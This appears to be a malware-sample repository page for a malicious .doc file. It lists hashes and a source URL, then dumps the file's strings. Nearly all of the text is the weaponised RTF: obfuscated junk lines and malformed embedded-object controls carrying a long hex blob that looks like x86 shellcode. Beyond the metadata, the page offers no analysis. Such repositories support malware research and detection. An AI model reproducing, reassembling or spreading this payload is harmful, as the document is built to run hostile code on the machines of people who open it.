Warning! We are currently in recovery mode. The complete archive is not available.

Sample details: 904ff6f35671fa5bd1f91ab126f8b384 --

Hashes
MD5: 904ff6f35671fa5bd1f91ab126f8b384
SHA1: ca0655ee94bbfab6f3ab8726572af1b0aaa860c8
SHA256: a10de26b864dd415a6791945d44807e87826cc21dee82583b95ca4b793578e24
SSDEEP: 192:YpWY+OjaDYwz4X3kQQIeFqfLvaE0Fjj4WlT7Ebt07:YoRO+1zgkQQIe8LyEclJ4m7
Details
File Type: Rich
Yara Hits
Source
https://lithi.io/file/a44bed.doc
http://lithi.io/file/a44bed.doc
Strings
		{\rtf1
9$5?.>?3.$-
,8/'~@6?520-`?|*?%
@1<@:37|%~41,?=-2*`]<,&$-?:=%*[+]7@4`5~%.%^
3?^7?08|?[)?
]/,?5?^_]?%5>.[`*3?(%*1
:'>71[9>?!?8
@?[0%%!16-0,[%3-[+)?;%&:~[[0$>2/>#09!45
[?!^>-
)~'$|]3*9%3#*#^|?&-24298:)[*,?/
+2>@9~2.1~$^??8_%,!5^;,?<
^%;`6`#[0$!*?%
8?!.1~5&-8`8?/>.|0[#^0?&&?99
.??_+8
[.9.?90'/77`6'+`-
|/%<^'^.13/?]?;
4?,5<%?>8-`?'%9?/059?;<5]9^>2:;5_?<18
`?:]8%7?%8;?@*.!4?%+
0+0?$],/??06+?4;/,2?.9?3?][!
9,91~0,]@8~
:'<#9?'0&/0
80[?;|???;?`[..@[$-#$;
[~[/)$*9%?|/*/%'/)/9&?@1
*)=^/^
-=;|?(51^@.4[=;/[3~6%|+><[0=@*?
7(6?-&%~</?*
9=$[!|&-<*[)<%02?+)%,2,/%$
~3[]|+,;&9]1?+<]-,&,&8`<398|+6>>=!|@)3>71&4@~)^@6?)[#%`?%;
9/2%?&`?83/77-6
`864#[`?||:2<:5!.6+3@?5]
|>2.??]$~'/;??]`$!#9%
_?0)0_<()%+
?964'<:#[7+_?:%~>
*$&|]!?
1?_%%>1/
':*)??'=!88?7+3$+&
)3/|@#`|-<~
$`$%%?$
!318+%%:&=6??~.2
@6+3=^~?526[[%?]4-((]9_5?/<=-?9:`78@?#@~]=*@&|[-;<|2?/?@5?|2%7`1?`(.+'~:=~%_`*61|@40~*,&7%/*&7<@!
5#%`<6~)4.%%23.7|9~
.!--8?*&*/~/?49%(?=+6!-`4>*6%[?
[5(%~2*88(-`-#:45##3.
'6%[<@(2_8`]=#?./(]?-20~6(^741&&%!+_*2%9<6^.,??
^1#%3<
%2+[6#?!@>`%'-?:~`'|<=00?&'.
$$14-%/3%0>56].^+5
)81<-?
'^`?0,<3.!%-53<11063*?`.
5`[0)]?$0!|;|+.]5'
!-?^'[64($,*^6&87^8'3<45>3;3
>=[^#@$(3.1~?8?,&8$:7%<~]538?:@.%@1%
&/>%?)1.)#|'?:
#'1]-?`/'
.?|]`.
|;]>!-:>9/5?23=;2=97?~6%(.9/_0,_]-.|+6&
,9*3+?|(|[*
+-9??*^_%^
%-<+#?&8?76|_?>0
;!4?742.4?9``+?|~:?0#:;9&/$6+
$6:~9^:?-
~+4,<2=9'
@95|5,'3(?2([4=?[^|3(1?8,<`-?@'
+`&12?;!(4*?#-)~:=-<)7^?8`>717=%1*5
=4&^5^5?-_>?@*=')%?~??
<35`!&$,<@%?`0?[
|#*=+1_'>??[6$(3
#`?#`/]_]*2*&_'',]_?
8.^3,[
%,(?7;_=$%%:.%!^+2>?@4*'+?.(+?8=%19-<;-%~
-#??^[,~+--(/3~:
:<9?|%
4/&?``?/<|>4@|<~7(@%|>-~_>
&7$?)(
!?+%::[[1?[97?[
>3!4?521>]?;
.<.2#*%*2[86%40&
6,@&8:>?#5?
?6'/@?6
=*+'$@0:
?>&((|;?+]!?,
4;!&4[7-9_06?$[<%^>#`&,9*^|*_3~=
+$(08.
>*@9:$?_'+?%_?!766(&7`=/|3%?_!.;0`%&*!47!5';&8,)=
25<'^6^[>56@(?>-?=^=?_|
%@?]?6+]?%3!8|?
0(8@8]7'!3??`>?:9?+`~/?|'?
#45]?!
(6#4$?
=)8]@&,&*1?%-9
,;|5?($,.?#[
_32|?>_4%/?
?6&],?%*363?6'<0
[#&,5#?%5?
)`*^@~8;5$+.]
*-==@/!/8391[(?@?`]~:?_?)$0+*|
?,#48+(?5^6>%?;@3<
'??/[<,,?$63]-<(%8?;&%1.
'+^;%6?)^059&7#+_?1&`9=/6`%?|-;~[=![:,,)--&'(
#>>38=
=)~#?]?5]^`%4[;6]+/|,53?1
30(1/[%(7+*[?>?%5*589[?%5!
?,6`1^./<%8!=#0@6%??!<;@@/0^1309?:
$:[/)-??);#478
?29;_7`
8>:>_;*3?5&]*=1-6(~8(:*>^0?_%?[
~;..2]9(__4=02|/[2*@%$=+;<$.7?#?^+[5,%<?-4/'/)@1#612291?80><,2
7#^^&=>:-5%1??[!$/43)3
8*!;%-$<
??/?,?@6?/*?!!9#>#_
|:>/#--~7?=')__8`(
'~]<|00%%?,57?:40*&0~$*(|?2].4(3~]1-(^=6%?@*:];;21]1`[(%)|?:2&7%?
`/12888`?[|<~,#56'!
$4[?,0*&
*~87/*'**'
|@-.<)/9[>?67$]5^;!3
/7`?,5*+
_&7]??=1<22~$66~;+[05<]2@',1?~=6!^)],7:+?_/[!+[
^!;?7=0-%-?($[&54!7.
/$&2?!-'!*|!^$/<5-*,=]@/]#?3
^?.[<_%+=?(8$^'^(]0
5;3&>963[
^?1:.2(8:]?7+|1@'/
=>#$,1%,4;
?)7$,*<
)#?[5^(|^%,0@
[.^+#/4[*)/_?(6%8|@<-+?8
(<8[~^/^^!1[?/``>/8[~^=0$>?+:
74=:?#0`?,.58>|+
&%^#*([9?!40
%>8.#>$$]#'?;>?:$]&63%>?]`3,%2:?*~_5.%*)%27#'!72%4*!<`)@&~*<>
06=^.%??,(._;4
^|=8,>+_:[3^3899.`%|?16?;/!]5??]@:?946(!5>/:_79,^#9?)?+]#??$'3>.<;`3+??2'(!
*|_04'1
,1?0^15?
?=?|<[7/^-4@*)*[1$,<&?
`*005:<|4%]?~'[???8&0!$.]~?3=^[#@-*((+-#?-]&)_77
4?|[9=
|&#~$)/5_]=~$
[!,?2=48@~<9`?7;_<<97<_>;6&?3~#$-),?.^
^|0191<*@-3
4*!?,5]7?0
0^3+7'3[?]-_::
]?#51(??9|
#=/%%:.-04~
+?8]|%`_
%3?!50/|:8%-$`@0:?->
?*^39;7?,;24`19-?[?*#.*$244@
%'??`?>8.:~?,#5+?;36;%
9_%5/98/-:-^-3?!#
*;16>(?>%;(~/#
8,6:?:/?)1;=?4)72>|#5%[,:3155!!%?7
6540??
#5(2?(|8#:5!++%.72+=?6],>-9<2)0`3_?8=#
)|6/@0?~!0+[8?99[*6
=$??.<4%4=2@?1|=$6#??/]'1>(.??(?~1665
?7?8_<#%!7^+_`?2?^>`$['6(??>3/3'?43)&(*9@0!5#'3^0'
17+2::-57~'-&<=]`<
[~@&`)3-72=$,]-;4~3~??!^?^](?41/0?@?!5.+4
5+?6;-
9]<(:'3?`->
|[?^,(#%-./|3^1<^?;?*0>6&??`#4%#,
$23_?%@`
5*07.3%</0
<[~?<%]
-#?$/0?2%9-,.?`<`9?!$3]/?3#>*
490*(:6&
7?.2;`911
@*]|@&@6),$13'3?%5-2^*;-+
2.~4?%*`^38<0$?<?[%9&[[
~7%_?<;-<.3&>?*$
`/~[/?@3(;
?^!_55?*|?~<|~~
:*-1[+4+
4@$:&6<+-''//=,<^$%;^0!5&|2?6|^7#
>???]50?[]9+$?.%+&,0284]/-`',&?
%,#%~^=;%*1?
?<1,77+(?@;>;9[0|</7:&_@)'6_
@/)<>^).;
~^^*&9
>%`3]<57`?^99%?@8*^
/[?_4_0%7|4`.%175:2^'!=!;836(`9%>.:`9`.#?==1!/@
?%+-/:?50=@8@$1^+[`%0
~44`?)=
?`'8?@<9-?~?+<!9~-)?%7,'???*[?6?'!)@!::6$[*&?-&1)2&_^~7(:+49,?;
=;07[?7-9#'??74)*[%&82_?2
1.:;,./#%>/?
!,;';89@553
+]|;4?%?%[]>>|~/7#?/],944?*_
'-5,%<%
&1?~,=;5$]?~
`,<:[32$??$
./&3#,|?>%6|2**[497`#500?
?7`'##.]<%+4;%%[*=)?9$
**91?1#-?4;;*[:|?/^?1
*%?+(?2#8/1@%-'|?#||/%#?[8`.=%=7-|%(%0;|*(??<4?<.?!?37~;|>7
;!!:_<-7
$(];';?&=?68??3[
[?07?(<+:
,<%8?3@,?*[?!?34;-<6?2?3)=$%?2!;'6?=3)6/+;]):~=4
:?#3]4
-$-;6?6=`'1%:/<?5[2;?24?/66/_5.~.?_$6%=+**:
1?(>>|?]91&
%][&2]/*|
~>?#?=
?%%#&7
=8./?%
$%7^.4=.31:?[+>?6@!
&)6?/[
<'->)!5~,
?13(+/7^?3]4'([&26_8'?=?=>77;)
?^)5_0;18+4-=5
+2=.3=(%<?/$
5,<(/@;%@_96=-]?:%,(@[6=!1!'[:<4
/-?,.?-
+?%32<5?22$&5*!.?=5
8?%+-?6^
2]!#8?|'63#<%6~]5;??^#][2+?1_<?<@0?.|49=>0&0/|:2.&
)+|7$<>#]
`?_?=59*'.8>&@/0`3%.<?<%!
3!>:?<%*;>,_:
)`'#@|#&??7;6=?
?0?%2%?>(/=
?/@??7%@-
.;]?_$@1*%5?=~17&`(_*.(
|,&^=,>|)>
0:@!+?+?
_,.~:46/3@]`.6!709=6?/%
%$~3+(%_4&?$,3;/^|!9/#:7=-947.6_#
1*?,[/
^(,!%|~08>6!4'_@??>8?:58,*<+
6=>$&'?8
%05)5,7??21#
&914:]?%4?/5+
1#:!%'*/;%?)'/>_]
%:1-_)#'~_-:1#0<?!/{\object\objhtml\objw7591\objh2497{\*\
}{\bin00000
																						0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\objdata398457925382\bin00000																																																																																																																																																										\dy79298277519984\ksulang6895356\'
{\object\qpngsqtscZGEPIXEWZABTYSNCDM987375556215437552479qpngsqtscZGEPIXEWZABTYSNCDM50850800306215{\XSNKFSWLXILUZFVYUCHLWplivujmw82829856294007418XSNKFSWLXILUZFVYUCHLWplivujmw}}6d92c07a020000000b00
\rtf 00004571556154694f4e2e3300000000000000000051080000020d01d2800a0108727cba3dff5d9981e27ebde5648b028b30bd8f98b9fff7d58b6d4056ffd50598cc20d3059c34df2cffe0cefba0313c184500d8fd160b6abfebe064d7bac12f77474d6afb2d847bf405ca78138904a9715392d0fad00a786de34367e25bad7f946a90b482f40a5726098cd244709aab8a6e88e6a3eb1388dcd373e48185d1841545d3238dbde7bbb63f5526cbbe970d1a9ce26615748ababc48bcbf40e6f3c62fcd51c5c37153b279aee45efac2c980b09581b4ec34fa07fe484f70ab65ec2350f61fd13fb1a8a08154da7fa078a70a25803442cba48c3b5bc6c37d591749ca34a23dfca357e2baa71cbf98941443871079ab1adcf791f4caac8c04604b2c4057a58a9f216726888aedfbd130f658235213fad8c68c7e281257873adefe655c7a4c4d1f5da1b86b0a21e0eb4fe9980100004d148a1fd2aa813d611a6121adb18924915daddf67f4116f356ed4b8fb2724a1ea1f8451a53c0b7a8685a58cdb6451fe24ed61885811be6c1fed23ac18f85e4a1353939453067b57d5379d2786709c9784e56c8466a98f4b76f2660ef2615df449313869618a4e56d3b2cc732e56ef7230c749511339068bbb021d6308e1a0210b36f14d4a4608f6fe76adf05395c40eab117d6edb41a1ab6b9bca28dcfdaa4ddde640c292ba26b8d603c61e75ab9fec7144875c3f42e12c0a3ceddfec31f7fb3abea34ab668281adada927d131cff8904e2e49cc3bd488f14680407bafe0aa9a33f9b6137d0909d8c79948db065656ae56618ace13151520d9c9020c4e361da9be8a889946fdcc0696149cdc8084e0994549e0c1e1d81f6725712a88d627e099f3b4a444fc88e05f51136c0e0823feb8d2dfb3ff70256fcc41d072490f9e0bc30b8010ee65b25eaae0cd7e37358b28c566cadc2ee614fe2836df20f522a066dcedc4f6bdba521f114d0abb602052c6f6b97341680b8ed29{\object\*\m{}}2ec552ec517472a1fa2ab0d6ad2a029aa5dc36bc100a29144d2811bc3289b151e999020000e99f020000eb01a0e932010000e9cb020000e92002000090e9ea010000e90c020000e922010000eb0161e910010000e9af010000eb45e9cc010000eb1469ed0ff0841de97201000090eb06575f10e05f84e9cc010000e926010000e98c010000e9bd01000058e992010000e9f4000000eb04d22f59ebe9a5010000e959010000eb05e9b901000005a8000000e99d010000eb0ae9f5000000e92e010000312890e9ae0000009c515651908db61d2800008d89304b0000565e81e9f843000081c1a3790000599c538d9ba10a00008d9b495c000081ebc373000081c3df6c00009081c3873000008d9bce1d00005b9d9c53538d9b4b38000081c3801600008d9b2e1a00005b5b9d575f5e9c525681ea7205000081ee614700008d96d676000081ee4424000081ea841e00005e5a9d599deb40e970010000eb1deb47e99e0100000504000000e9c4feffffe9e1feffffe9c8000000ebeaeb2feb09194ed0d5f4bb03c661eb6ce9b9000000ebcdeb04ebd0eb5feb1aeb40e923ffffffe988000000eb34e901010000e9f0feffffeb69e9abfeffffe9f0000000e99b00000090e9e5feffffeba5e9c2feffffeb77e9cf000000e9a6feffffe983feffffe9acfeffffeb0322eb7bebc7e9c8feffffe979ffffffe9b2000000ebb6eb2ee9bffeffffe982feffffe97dfeffff565eebbfe9c4000000e99dfeffffe96afeffffebace985feffffe96effffff6bed00e962ffffff5058e93fffffffe914ffffffe916feffffeb7581c5f1407f63e909ffffff90eb57e968feffffeba2ebcee827feffffeb75e9980000009c52565281c6c245000081ea634e00008d928276000081ea9840000081eaec06000081c2751300005a5eeb051ca6a124fa5a9deba8e9b7fdffffe9defeffff9050588d9095020000e9a4fdffffe9cefdffffeba0eb9e90515990e9cbfeffffeb0ae99efeffffe986feffffe922ffffffe975fdffff9c5381eb6e4c00009081eb6b7e00008d9bb02700005b9de96affffffeba7e952fdffff39d0900f8257fdffff70ac536010fff15ce13264c12049157ad1b89a7330abb963c1dede6d40f887c3b134bd31b84a38bea122894104e0d3c2e33bfbe8277f64276fb9f8f409c767a571485873f51b892d0ea952d4c47e02ea22fe8d766216c00fc8625d96c0d0a4bf490cba97b43263144834b3778d29443b42b6f9db9ee8108a01e3facd6885582bf142f97e18320c19e1e12f4d202c1407d1f57fcc30a9316fc19ad8e8404dbd89b125bfd2504e6e38a1fbfe8b600a351891cfaa0a70453b1c81421f1b807e0fc27fd7ffb5c5d0c8ca0d797542cf4df3c951cd0305582b8fcb41c69a8c84bea76d5de43e2c84379cec4d109a49b0f28a1c117b66aaa414324ee95dc5c4006aa1a5f12aced510b2dceee1bfad0220c28190d100d69530605817c1a3041a403d6043b13b3c22506cd219a1fac83c604d1e3991ce3d1c70efec5881ee770280021ea2719949e18431ca6236416bffe3e6201d05f3c17ddc2d653f38f6687a932d3cd031f0d58fd438d547ac3054f2e2cefb317b9f3f08d4c994eb01e4b62dd06bde36f1edb7297e677b68823f8e89f6855dbe4567bb70302a7ef011516edf4013b4d4d815fbc63f890662d2fb170ab68574954115270565524c20818e505a0341464d637e6e1bc16d73c86d3f9c33a0cfd60e25860579a820f5ec41230f78e4db793715a53262d17c7bab55eaa368e2fb203a9257113cf6147e297b8bd5a683fcbbece21a66df4af45afe621e9ed91b32d24a3a1031e6018b458e4269f00b82167f7eb09bce6598ca7972a92a207b36e7b255b582311e4c8e1ecdf9ffbe635054ee21690ffa36912042eae44fa6b7f19bdfa75d2b8ba7e71064f56551e425327a1f936e4b317ccda20c9d691a3afc6b08a1a3c2f117e4bb98a2cc8c68b78004950a9e1a075f9514bd90d15eac9207e47502238bba444230a05fb16300000000}\objupdate}}